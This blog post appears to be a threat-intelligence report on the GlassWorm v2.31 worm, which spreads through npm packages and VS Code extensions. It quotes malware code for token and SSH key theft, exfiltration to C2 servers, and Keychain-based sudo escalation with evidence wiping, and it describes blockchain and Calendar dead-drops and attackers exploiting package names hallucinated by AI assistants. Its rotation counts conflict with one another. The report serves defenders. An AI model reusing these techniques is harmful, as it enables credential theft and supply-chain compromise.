We Followed the Wallet: Tracking GlassWorm Through Nine C2 Rotations

TL;DR

  • GlassWorm v2.31 is actively compromising developer workstations through trojanised npm packages and VS Code extensions; a coordinated industry takedown on 26 May 2026 was reversed by the operator within hours.
  • One infected developer silently spreads the malware to every package they maintain, putting downstream users and CI/CD pipelines at risk without any further attacker action.
  • The campaign routes its C2 through the Solana blockchain, making traditional domain or IP takedowns ineffective; it has operated continuously since November 2025 across 22 confirmed infrastructure rotations.
  • Security teams should audit npm publish rights, block the network indicators at the end of this report, and hunt for the staging artefacts on developer endpoints.

Introduction

On April 24, 2026, a Solana wallet executed a transaction that cost less than a fraction of a cent. To anyone watching the blockchain as a whole, it was noise in millions of daily memos moving through the network.

For our team, this was a signal we had been waiting for.

The wallet is BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC. We first started tracking it in November 2025 after identifying it as GlassWorm’s primary C2 beacon channel. That April transaction contained base64-encoded IP address, embedded in the memo field of a standard spl-memo transaction. The ninth since we started watching.

Within days, two fresh malware samples appeared in the wild. Both hardcoded the updated infrastructure. We pulled them both, and what we found in version string 2.31 — newer than any publicly documented GlassWorm variant — warranted this post.

Note: The behavioral and technical analysis in this report is based on GlassWorm v2.31 samples observed in April 2026. Infrastructure details, C2 rotations, and IOCs have been updated with observations through early June 2026 following the May 26 takedown.

The Glassworm Malware

GlassWorm is a self-propagating worm malware with infostealer and remote access trojan (RAT) capability that targets developers by hiding in trojanised npm packages and VS Code / Open VSX extensions. What makes it a worm is propagation through trust: once it steals a developer’s npm publish token, it can republish malicious code under that developer’s identity, silently infecting everyone downstream. Its command-and-control runs through the Solana blockchain and Google Calendar dead-drops, which makes conventional domain/IP takedowns largely ineffective. 

Why Developers Are the Target

Instead of social engineer approach (e.g. phishing), GlassWorm sits in the npm registry or the Open VSX marketplace, and waits for developers to come to it.

The credentials it harvests tell you everything about its targeting logic: npm publish tokens, GitHub Personal Access Tokens, CI/CD pipeline secrets, SSH private keys, cloud provider credentials. These belong to the engineers who sit at the centre of the modern software supply chain.

Run npm install on a malicious package and your credentials are already in transit to exfiltrated server by the time your terminal prompt returns.

What follows this “interaction” is that, a compromised developer with npm publish rights becomes an involuntary delivery vehicle. Their stolen token can republish malicious packages under their identity, silently extending the infection to every downstream user of their work. GlassWorm propagates through trust.

This is the supply chain threat model we outlined in Supply Chain As the Perimeter.[1] It is now actively playing out in production environments.

A Campaign We Have Been Watching Since November

Researchers first documented GlassWorm in March 2026, Russian-speaking criminal operators using trojanised npm packages to deliver a Remote Access Trojan.[2] Subsequent waves added Unicode obfuscation [3], macOS-specific infrastructure [4], and BitTorrent DHT as an alternative C2 channel [5]. In April 2026, researchers documented a parallel campaign that deployed 73 sleeper extensions to the Open VSX marketplace, six already activated at time of publication.[6]

The samples we analysed here carry version string 2.31, newer than the last publicly documented variant. Infrastructure has rotated twice since the previously tracked state.

On attribution: the Windows sample’s system-info collector contains Cyrillic variable labels toLocaleString(“ru-RU”) calls, Cyrillic field names. These are internal labels written in the developer’s own language. Earlier GlassWorm variants were reported to skip execution on Russian-locale systems; that check is absent in v2.31. Attribution to a Russian-speaking criminal actor is consistent across multiple researchers. Confidence: High.

The Blockchain Dead-Drop: How a $0.001 Transaction Redirects a Global Botnet

The Solana spl-memo program allows arbitrary UTF-8 text to be embedded in blockchain transaction memo fields. GlassWorm publishes C2 IP addresses there, base64-encoded:

Memo (raw) : {"link": "aHR0cDovLzQ1Ljc3LjYwLjE1Mw=="}
Decoded    : http://45.77.60.153

The malware queries api.mainnet-beta.solana[.]com — traffic that is indistinguishable from legitimate DeFi activity at the network level. The dropper hardcodes the current C2 IP at build time. But the persistence layer — %APPDATA%\bDXfQAchc\index.js — uses the Solana lookup on each subsequent beacon to follow rotations without ever requiring a malware update.

The defender implication: taking down the C2 server does not evict already-infected hosts. The next memo transaction, costing less than $0.001, redirects every infected machine globally to a new IP. We have watched this happen across 62+ memo transactions (16 rotations) as of early June 2026, with the most rapid activity being operator-driven infrastructure tests rather than implant beacons.

For organisations running legitimate DeFi applications, on-chain treasury operations, or blockchain analytics tooling, a blanket block on api.mainnet-beta.solana.com is not viable. The practical control is contextual: alert on Solana RPC calls originating from workstations, build systems, and developer laptops that have no sanctioned DeFi function. The domain is not inherently malicious — the question is whether the process making the request has any legitimate reason to be polling a blockchain. In most enterprise environments, the answer for a Node.js process spawned from an npm postinstall hook is no.

On 26 May 2026, CrowdStrike publicly announced the takedown of GlassWorm’s known C2 infrastructure in coordination with Google and Shadowserver. Within hours, the operator began rotating IPs. Between 26–29 May, three new IPs appeared across six memo transactions in just three days — the most rapid rotation sequence observed. Most notably on 29 May: 87-second burst of 4 test memos alternating 137.184.198.91 and 162.33.177.177 (operator verifying servers, not implant-driven rotation). Switched from Vultr to DigitalOcean. Current active C2 137.184.198.91 remains dominant.

RotationDateC2 IP
1Nov 2025217[.]69[.]11[.]60
2Dec 202545[.]32[.]151[.]157
3Jan 2026217[.]69[.]11[.]57
4Feb 202645[.]32[.]150[.]97
5Feb 2026217[.]69[.]11[.]99
6Mar 202645[.]76[.]44[.]240
7Mar 2026217[.]69[.]2[.]135
8Apr 2026217[.]69[.]0[.]159
9Apr 24, 202645[.]77[.]60[.]153 
10May 26, 2026137[.]184[.]198[.]91
Current active C2 (DigitalOcean)

What Changed in v2.31

A New C2 and a Dedicated Exfil Server

A Dead-Drop Resolver is a covert technique where threat actors hide malicious data inside legitimate online services to conduct evasive C2 communication. The malware reads from a publicly accessible resource rather than connecting directly to attacker infrastructure.

The Google Calendar dead-drop mechanism has been in use since at least March 2026. In March 2026, it was first reported that GlassWorm used Google Calendar as a dead-drop, embedding a base64 slug in a calendar event page to deliver the persistence path without publishing a new package.[7] The delivery vehicles at that time were react-native-country-select@0.3.91 and react-native-international-phone-number@0.11.8, using calendar.app.google/2NkrcKKj4T6Dn4uK6 and C2 45.32.150.251.

Dark Lab observed the same dead-drop architecture in the new v2.31 infrastructure : the Calendar URL has rotated to calendar.app.google/CcqGmLkERzV6kDa28 and C2 to 45.77.60.153, but the mechanism and the independent two-channel design are unchanged. The use of Google Calendar as a dead-drop is a relatively uncommon technique; it has also been documented in other advanced campaigns, though its appearance in financially motivated criminal tooling is a notable escalation.

doGLSkHlx(
  atob("aHR0cHM6Ly9jYWxlbmRhci5hcHAuZ29vZ2xlL0NjcUdtTGtFUnpWNmtEYTI4"),
  (err, link) => tlvZhAS(atob(link), tlvZhASCall)
);
// atob(...) = https://calendar.app.google/CcqGmLkERzV6kDa28

The dropper fetches the Calendar URL, reads data-base-title from the page HTML, base64-decodes it to a slug, then GETs hxxp://45[.]77[.]60[.]153/<slug>. The C2 response delivers { script, iv, secretKey } — the persistence script is written to %APPDATA%\bDXfQAchc\index.js and registered via two independent mechanisms: a Scheduled Task named UpdateApp (AtLogon trigger) and a randomly-named key under HKCU\Software\Microsoft\Windows\CurrentVersion\Run.

Note that the two persistence entries are independent by design, with remediation requiring the removal of both malware, or the malware survives the next logon.

The two dead-drop channels also serve independent roles: Solana handles C2 IP rotation awareness; Google Calendar handles persistence payload delivery. Blocking Solana RPC kills the rotation beacon but leaves persistence delivery intact. Google Calendar simply cannot be realistically blocked in enterprise environments. Both channels need separate coverage.

w.node: The Browser Injector Without an Integrity Check

v2.31 downloads three native Node.js modules: c_x64.node (Chrome credential extraction), f_ex86.node (environment variable exfiltration), and w.node (browser injection). The first two validate their own file hash before executing — they abort on mismatch. w.node does not:

// c_x64.node — hash validated before execution:
const isValid = checkFileHash(pathModule, actualHash_c_x64);
if (!isValid) { return; }

// w.node — executed directly, no integrity check:
async function _runWNodeModule(unzipPATH) {
  console.log("[w.node] Starting browser inject module");
  // AES-128-CBC decrypt in-place, then eval(atob(...))

This is deliberate. c_x64 and f_ex86 are pinned to known builds; w.node can be swapped per-victim or per-campaign wave without touching the dropper. The operator has a flexible injection surface the dropper cannot attest to. If w.node ran on a host, the scope of browser compromise must be treated as unknown — you cannot bound it from the dropper alone.

The progression here is worth noting: fake browser extension (March) → w.node inside npm dropper (this report) → IDE sleeper extension (April reporting [8]). Each iteration moves the payload one level deeper into trusted tooling.

What v2.31 Collects

v2.31 expands credential collection on two dimensions relative to prior publicly documented GlassWorm reports: wallet coverage and file targeting.

Desktop wallets — beyond the browser extension targets documented previously:

WalletPlatformNotable
ElectrumWindowsFull wallet directory traversal
Daedalus (Cardano)WindowsFull-node wallet; common among ADA stake pool operators with multi-year accumulated rewards
Exodus, Atomic, CoinomiWindows/macOSCovered in prior GlassWorm reports

Daedalus is particularly notable. It is a full-node Cardano wallet frequently held by stake pool operators. Its explicit inclusion signals a deliberate multi-chain operation.

Beyond wallets, the Windows sample scans Documents\ and Desktop\ (four levels deep) for images whose filenames match any of 35 crypto-related keywords: “seed”, “mnemonic”, “bip39”, “ledger”, “trezor”, “2fa”, “recovery”, and 28 more. Filename matching only with no content inspection. Developers who photograph hardware wallet recovery screens or store backup codes as images are the intended target. If the device is wiped after detection, those images have already left the network.

OPSEC Regression: A Fixed Directory That Gives Them Away

The macOS sample randomises its staging directory ($TMPDIR/<random>/). The Windows sample does not:

var _tempF = process.env.TEMP + "\\afNxMgFco\\";

%TEMP%\afNxMgFco\ is fixed across every Windows infection. Zero expected false positives. If you find it, you have a confirmed compromise. Sweep your fleet.

The Windows dropper also fetches portable Node.js runtimes (v22.9.0, x86 and x64) directly from nodejs.org, storing them at %APPDATA%\_node_x86\ and %APPDATA%\_node_x64\. Under this infection chain, no Node.js installation required on the victim machine. This path is specific to the npm dropper; the Open VSX sleeper vector uses the IDE’s embedded runtime.

Under the Hood: Cross-Platform Execution

 macOSWindows
Lines of code3,2636,889
Staging dir`$TMPDIR/<random>/``%TEMP%\afNxMgFco\` (fixed)
Exfil endpoint`/wall``/wall` + `/log` (AES per-session)
PersistenceNot in dropper`%APPDATA%\bDXfQAchc\index.js` via PS1
Privilege escalationKeychain → sudoNot observed
Native modules1 `.node` addon3 addons (c_x64, f_ex86, w.node)
Desktop walletsNot observedExodus, Electrum, Guarda, Coinomi, Daedalus

macOS

On macOS, credential collection runs as a parallel promise chain before exfiltration:

function startExf() {
  Promise.allSettled([
    NqzZI(),           // GitHub token + SSH key theft
    anYeIk(),          // npm token theft
    envExfiltration()  // download + exec .node addon from C2
  ]).then(() => exfiltration());  // zip → POST /wall → self-delete
}

GitHub tokens are live-validated against `api.github.com/user` before staging, where working tokens go to tokenGit.txt, invalid ones to tokenGit_invalid.txt for offline review. SSH keys require a BEGIN PRIVATE KEY block; public keys and config noise are filtered. The operator is not collecting garbage; they are collecting working access.

macOS collection also attempts Keychain extraction with privilege escalation. If successful, it removes its own staging directory under sudo leaving no forensic trace:

const keychainPassword = child_process.execSync(
  "security 2>&1 find-generic-password -s 'pass_users_for_script' -w"
).trim();

// Tests Keychain password as sudo password:
child_process.execSync(`echo ${JSON.stringify(password)} | sudo -S -k whoami`);

// On success: wipes staging directory — evidence destroyed
child_process.execSync(`sudo rm -rf ${stagingDir}`);

Windows

The Windows execution chain is more layered. Credential collection, persistence installation, and module loading are all sequenced deliberately, with persistence and modules arriving only after every wallet directory has been processed. Note the sequence of the execution : collection, exfiltration, persistence, followed by module execution.

wcedE()
  → download Node.js x86 + x64 (nodejs.org, parallel)
  → cFhYVfTyQ()
      ├── token theft (npm, GitHub — live API validation)
      ├── collectAdditionalData()
      │     ├── .txt files (8 levels deep)
      │     ├── crypto-keyword images (4 levels)
      │     ├── cloud credentials (AWS, DO, Heroku, Terraform)
      │     └── system info (Cyrillic field labels)
      └── LNTMdy()  ← wallet directory scan
            [after ALL wallets collected]
            ├── script_zombi → Calendar dead-drop → index.js
            │     + Scheduled Task "UpdateApp" + HKCU Run key
            ├── _processArchiveAndRunModules()  ← 3 .node modules [parallel]
            └── POST hxxp://217[.]69[.]3[.]152:80/log

Conclusion

GlassWorm v2.31 shows a disciplined, incremental campaign that has been quietly improving its infrastructure, expanding its collection scope, and hardening its persistence architecture, over five months. That approach demonstrates restraint that makes it effective.

Under this threat model, developers are high-value targets precisely because they are trusted actors in systems that most security controls treat as safe by default : npm publish tokens, GitHub PATs, cloud credentials all play their respective parts in an attack ecosystem. The downstream blast radius of a single compromised developer account can extend far beyond what any individual threat indicator would suggest.

As we noted in Supply Chain As the Perimeter: “Signed binaries arriving through trusted update channels are not, by themselves, evidence of integrity.”

Even after the coordinated takedown on 26 May, the operator was able to re-establish control within days using fresh infrastructure. The speed of the late-May rotations shows the campaign remains active and adaptive.

Indicators of Compromise

File Hashes

HashTypeNote
886373754c3cc3bc232e994116c8e0efebc3d67ee5c98feca36bb5df71a5c1daSHA-256Windows dropper — v2.31 postinstall
48a997b76fe8317c6c8e6ffa8af0b2e509e8987cd10c196e3a7cb4d8e05e9dc8SHA-256macOS dropper — v2.31 postinstall

Network Indicators

IndicatorTypeRole
137[.]184[.]198[.]91IPActive C2 — rotated May 2026
208.85.20[.]124IPDedicated exfil server
208.76.223[.]59IPDedicated exfil server
217[.]69[.]3[.]152IPDedicated exfil server (Previous)
api.mainnet-beta.solana[.]comDomainSolana RPC — C2 IP rotation beacon
calendar[.]app[.]google/CcqGmLkERzV6kDa28URLGoogle Calendar dead-drop — persistence payload delivery

Historical C2 IPs

IP
217[.]69[.]11[.]60
45[.]32[.]151[.]157
217[.]69[.]11[.]57
45[.]32[.]150[.]97
217[.]69[.]11[.]99
45[.]76[.]44[.]240
217[.]69[.]2[.]135
217[.]69[.]0[.]159
45[.]77[.]60[.]153
45[.]32[.]147[.]205
162[.]33[.]177[.]177

File and Host Indicators

IndicatorTypeNote
%TEMP%\afNxMgFco\DirectoryFixed Windows staging dir — zero false positives
%APPDATA%\bDXfQAchc\index.jsFile pathWindows persistence script
%APPDATA%\_node_x86\DirectoryPortable Node.js x86 runtime
%APPDATA%\_node_x64\DirectoryPortable Node.js x64 runtime
ANLNqyTjx86.zipFilenameNode.js x86 runtime archive
znzvleRpUx64.zipFilenameNode.js x64 runtime archive
UpdateAppScheduled TaskAtLogon persistence — must be cleared on remediation
c_x64.node / f_ex86.node / w.nodeFilenameNative credential extraction modules

Solana

Indicator
BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC
6YGcuyFRJKZtcaYCCFba9fScNUvPkGXodXE1mJiSzqDJ
28PKnu7RzizxBzFPoLp69HLXp9bJL3JFtT2s5QzHsEA2
5m49aU7pMecF7WWHi2n2aL7UaAjVCn2mYBnTVMUpHNMQ
9h8p91NVckhiKLfkiQG5DY16AHQbQ1sLCsHnqRx7Mtvs

Recommendations

For Individual Developers

  • Rotate credentials before you investigate. Collection and exfiltration complete silently before any visible indicator appears. If you may be affected, revoke npm publish tokens, GitHub PATs, SSH keys, and cloud credentials immediately — forensics second.
  • Check `%TEMP%\afNxMgFco\` on every Windows machine you use for development. This directory name is fixed across every infection — if it exists, you are compromised.
  • Run `npm install --ignore-scripts` for packages you haven’t reviewed. GlassWorm activates in the postinstall hook. Disabling scripts removes the trigger.
  • Verify AI-suggested package names against the official npm registry and the project’s GitHub repository before installing. Do not trust coding assistant suggestions without independent confirmation of provenance.
  • If `w.node` ran, assume full browser compromise. Treat all saved passwords, cookies, and active sessions as stolen — the payload is swapped per-victim and scope cannot be determined from the dropper.

For Security Teams and Enterprises

Recommended ActionObserved Technique / Indicator
Alert on outbound connections to Vultr ASN 20473 or Digital Ocean AS 14061 from developer endpoints Historically dominant ASN (rotations 1–9); operator moved to DigitalOcean in May 2026 but may return — keep as a hunting indicator.
Hunt `%TEMP%\afNxMgFco\` across your Windows fleetFixed staging directory — zero false positives, fastest confirmation of compromise
Hunt Scheduled Task “UpdateApp” (AtLogon) AND random-named HKCU Run keys togetherBoth persistence entries must be cleared — either alone survives logon
Alert on non-browser processes making HTTPS requests to calendar.app.googleGoogle Calendar dead-drop delivers persistence payload — cannot be blocked at DNS
Monitor npm publish token usage for unexpected package versionsSupply chain propagation via stolen publish tokens — compromised dev extends infection to downstream users
Alert on `_node_x86` or `_node_x64` directories created under `%APPDATA%`Portable Node.js runtime deployment is specific to the npm dropper vector
For organisations with legitimate Solana RPC access: restrict outbound api.mainnet-beta.solana.com to approved DeFi services and alert on access from workstations, build systems, or developer endpoints with no sanctioned DeFi functionGlassWorm beacon traffic is indistinguishable from legitimate DeFi activity at the network layer — contextual allow-listing and process-level monitoring are required where a blanket block would disrupt production workloads

MITRE ATT&CK Mapping

Technique IDNameObserved In
T1195.002Supply Chain Compromise: Software Supply ChainTrojanised npm packages / Open VSX extensions
T1059.007Command and Scripting: JavaScriptNode.js dropper execution chain
T1102.001Web Service: Dead Drop ResolverSolana blockchain + Google Calendar C2 lookup
T1547.001Boot/Logon Autostart: Registry Run KeysRandom-named HKCU Run key persistence
T1053.005Scheduled Task/Job: Scheduled TaskUpdateApp scheduled task (AtLogon)
T1555.003Credentials from Password Stores: Web Browsersc_x64.node Chrome credential extraction
T1552.001Unsecured Credentials: Credentials In Filesnpm token, GitHub PAT, SSH key collection
T1552.004Unsecured Credentials: Private KeysSSH private key harvesting (BEGIN PRIVATE KEY check)
T1041Exfiltration Over C2 ChannelPOST to 217[.]69[.]3[.]152 /log and /wall
T1027Obfuscated Files or Informationbase64-encoded Calendar URL and C2 memos
T1496Resource HijackingCrypto wallet targeting — Daedalus, Electrum, Exodus
T1070.004Indicator Removal: File DeletionmacOS sudo rm -rf staging dir on successful Keychain extraction

Outlook

Nine rotations over five months are a sign of a persistent operation that has been running comfortably and at pace. The infrastructure renews before it is acted upon. The per-session AES keys prevent bulk decryption of intercepted traffic. The dead-drop architecture keeps infected hosts connected even after C2 takedowns.

What we expect next: the proliferation of AI coding tools will lower the barrier to initial access even further. The next campaign generation may not need a real package name. Attackers will register the packages that coding assistants hallucinate and wait. The delivery mechanism will remain npm install. The payload will remain silent. The developer will remain unaware until credentials have already rotated through a threat actor’s collection infrastructure on the other side of the operator’s remote infrastructure.

The trust developers place in their toolchains is the attack surface. Until that trust is earned through verifiable provenance : signed packages with reproducible builds, audited supply chains, automated publish-token rotation, GlassWorm and campaigns that follow its model will keep finding a way in.

Leave a Reply